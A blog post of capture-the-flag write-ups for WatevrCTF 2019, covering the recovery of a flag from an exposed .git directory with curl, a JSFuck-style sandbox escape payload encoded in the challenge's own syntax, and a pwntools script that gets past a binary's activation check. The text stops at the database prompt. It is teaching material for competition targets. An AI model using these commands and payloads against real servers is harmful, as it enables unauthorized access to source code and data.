« WatevrCTF 2019: Write-ups

November 15, 2019 • ☕️ 1 min read

CTF
  1. Web
    1. Swedish State Archive
    2. SuperSandbox
  2. PWN
    1. wat-sql

I’ve included write-ups for the non-trivial challenges.

Web

Swedish State Archive

This is a pretty easy challenge. The whole ‘archive’ theme makes me think of perhaps version control… let’s see if there’s a .git/index accidentally running on the webserver…

Looks like it exists...
Looks like it exists...

The head of this page also has the following html:

<meta name="author" content="web_server.py">

and the contents of that path is:

from flask import Flask, request, escape
import os

app = Flask("")

@app.route("/")
def index():
    return get("index.html")

@app.route("/<path:path>")
def get(path):
    print("Getting", path)
    if ".." in path:
        return ""

    if "logs" in path or ".gti" in path:
        return "Please do not access the .git-folder"

    if "index" in path:
        path = "index.html"

    if os.path.isfile(path):
        return open(path, "rb").read()

    if os.path.isdir(path):
        return get("folder.html")

    return "404 not found"


if __name__ == "__main__":
    app.run("0.0.0.0", "8000")

It looks like .gti is misspelt which is why we can access it but the logs directory (containing all commit history) is blocked. What we can do is go back in time through the master branch’s objects.

$ curl http://13.53.175.227:50000/.git/refs/heads/master
e4729652052522a5a16615f0005f9c4dac8a08c1

… and now we have a starting point. To get the object we format it in a request like the following with pigz -d un-zlib compressing the body:

$ curl -s http://13.53.175.227:50000/.git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1 | pigz -d
commit 243tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85
parent 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
author Travis CI User <travis@example.org> 1576308513 +0000
committer Travis CI User <travis@example.org> 1576308513 +0000

Make things a bit tighter

The git object format might be a bit unusual but essentially the tree is the files in that commit and the parent is the previous commit. If we keep accessing the parent commit eventually we’ll come upon:

$ curl -s http://13.53.175.227:50000/.git/objects/ab/4e6cc2bcfb3f9fbe4ee098ce3bffa9a7a6b80e | pigz -d
commit 243tree 326cb05f3fcbdf63aef0177fee81623ff4619398
parent 0d244f764db9257b18dd84f5830ff958e7b2571d
author Travis CI User <travis@example.org> 1576308513 +0000
committer Travis CI User <travis@example.org> 1576308513 +0000

did some work on flag.txt

which looks very useful… let’s access the tree:

$ curl -s http://13.53.175.227:50000/.git/objects/32/6cb05f3fcbdf63aef0177fee81623ff4619398 | pigz -d
tree 154100644 flag.txt�F�
��3gZ.��\~�.100644 folder.htmlV6�kŐfd�1�����	�100644 index.html.�D����4��]�v.A�0�100644 web_server.py���d^dC�D+��5\�.

This looks like garbage but the crap after the flag.txt is actually the decoded sha1 blob hash:

I've highlighted the SHA1 hash in the hexdump
I've highlighted the SHA1 hash in the hexdump

Accessing that hash gives us the flag:

$ curl -s http://13.53.175.227:50000/.git/objects/ef/460ecd090b93b133675a0560eb15ae5c7ef822 | pigz -d
watevr{everything_is_offentligt}

SuperSandbox

This was a fun one. It’s based of jsfck. Here’s the key for the code:

let env = {
    a: (x, y) => x[y],
    b: (x, y) => x + y,
    c: (x) => !x,
    d: []
};

where the format is <variable><fn><arg1><arg2>. Here’s the mapping from JSFck to the expression format:

x[y] - ?axy
!x   - ?cx*
x+y  - ?bxy
[]   - ?d**

Now let’s take our alert(1) code:

[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]][([]+[][(![]
+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[!![]+!![]+!![]]+(
!![]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[+!![]
+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!!
[]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!
![]+[])[+[]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!!
[]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[
])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!
![]]+([][[]]+[])[+!![]]+(![]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]
]+(!![]+[])[+[]]])[!![]+!![]+[+[]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[]
)[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![])

I’ll define some common sequences:

d=[]
B=![]
C=!![]
D=(![]+[])
E=(!![]+[])
F=0
G=1
H=([][[]]+[])
Q=d[D[F]+D[G+G]+D[G]+E[F]]

Let’s run a first round of subs:

Q[
    // constructor
    (d+Q)[3]+(d+Q)[6]+H[G]+D[3]+E[F]+E[G]+H[F]+(d+Q)[3]+E[F]+(d+Q)[6]+E[G]
](
    // alert(1)
    D[G]+D[2+(E)[3]+E[G]+E[F]+(d+Q)[Z]+G+(d+Q)[X]
)()

now setup our subs:

![]         => Bcd* (B)
!![]        => CcB* (C)
(![]+[])    => DbBd (D) "false"
(!![]+[])   => EbCd (E) "true"
![]+![]     => FbBB (F) i.e. 0
+!![]       => GbFC (G) i.e. 1
G+G         => 2bGG (2) i.e. 2
2+G         => 3b2G (3) i.e. 3
3+3         => 6b33 (6) i.e. 6
6+6         => Yb66 (Y) i.e. 12
Y+1         => ZbYG (Z) i.e. 13
Y+2         => XbY2 (X) i.e. 14
([][[]]+[]) => Hbde (H) i.e. "undefined"
"f"         => RaDF (R)
"l"         => SaD2 (S)
"a"         => TaDG (T)
"t"         => UaEF (U)
"flat"      => VbRSVbVTVbVU (V)
Q           => QadV (Q) i.e. function flat() { [native code] }
W           => WbdQ (W) i.e. "function flat() { [native code] }"

now let’s fully substitute the code:

Q[
    // constructor
    W[3]+W[6]+H[G]+D[3]+U+E[G]+H[F]+W[3]+U+W[6]+E[G]
](
    // alert(1)
    T+S+E[G]+E[F]+U+W[Z]+G+W[X]
)()

Now we can finalize these much simpler rules:

"constructor"
W[3]+W[6]+H[G]+D[3]+U+E[G]+H[F]+W[3]+U+W[6]+E[G]
~    !    @    #    U %    ^    ~    U !    %
c    o    n    s    t r    u    c    t o    r
=>
~aW3!aW6@aHG#aD3%aEG^aHFMb~!MbM@MbM#MbMUMbM%MbM^MbM~MbMUMbM!MbM%

"alert(1)"
T + S + E[3] + E[G] + U + W[Z] + G + W[X]
T   S   -      %      U   {          }
a   l   e      r      t   (      1   )
=>
-aE3{aWZ}aWXNbTSNbN-NbN%NbNUNbN{NbNGNbN}

Now we have both the constructor and alert string so we just need to.

Q[M](N)()
=>
faQMgfdNhg**

Now all together:

Bcd*CcB*DbBdEbCdFbBBGbFC2bGG3b2G6b33Yb66ZbYGXbY2HbdeRaDFSaD2TaDGUaEFVbRSVbVTVbVUQadVWbdQ~aW3!aW6@aHG#aD3%aEG^aHFMb~!MbM@MbM#MbMUMbM%MbM^MbM~MbMUMbM!MbM%-aE3{aWZ}aWXNbTSNbN-NbN%NbNUNbN{NbNGNbN}faQMgfdNhg**

Actually this doesn’t work due to URLencoding, here’s another variation:

Bcd*CcB*DbBdEbCdFbBBGbFC2bGG3b2G6b33Yb66ZbYGXbY2HbdeRaDFSaD2TaDGUaEFVbRSVbVTVbVUQadVWbdQ~aW3xaW6uaHGwaD3zaEGtaHFMb~xMbMuMbMwMbMUMbMzMbMtMbM~MbMUMbMxMbMz-aE3yaWZvaWXNbTSNbN-NbNzNbNUNbNyNbNGNbNvfaQMgfdNhg**

PWN

wat-sql

The challenge starts off by prompting us for a ‘Demo activation code’. Decompiling it, the following is the activation code:

void check_key(void) {
  int user_key;

  printf("%s","Demo activation code: ");
  fflush(stdout);
  fgets(user_key, 36, stdin);
  user_key = strcmp("watevr-sql2019-demo-code-admin", user_key);
  if (user_key == 0 && ((int*) user_key)[32] == 0x796573) {
    puts("Demo access granted!");
  } else {
    puts("Demo access not granted!");
  }
}

Which means to login we can do (0x796573 being sey):

from pwn import *

sh = remote('13.53.39.99', 50000)
sh.sendlineafter('Demo activation code: ', 'watevr-sql2019-demo-code-admin\0\0sey')
sh.interactive()

Now we receive a prompt to read/write from a database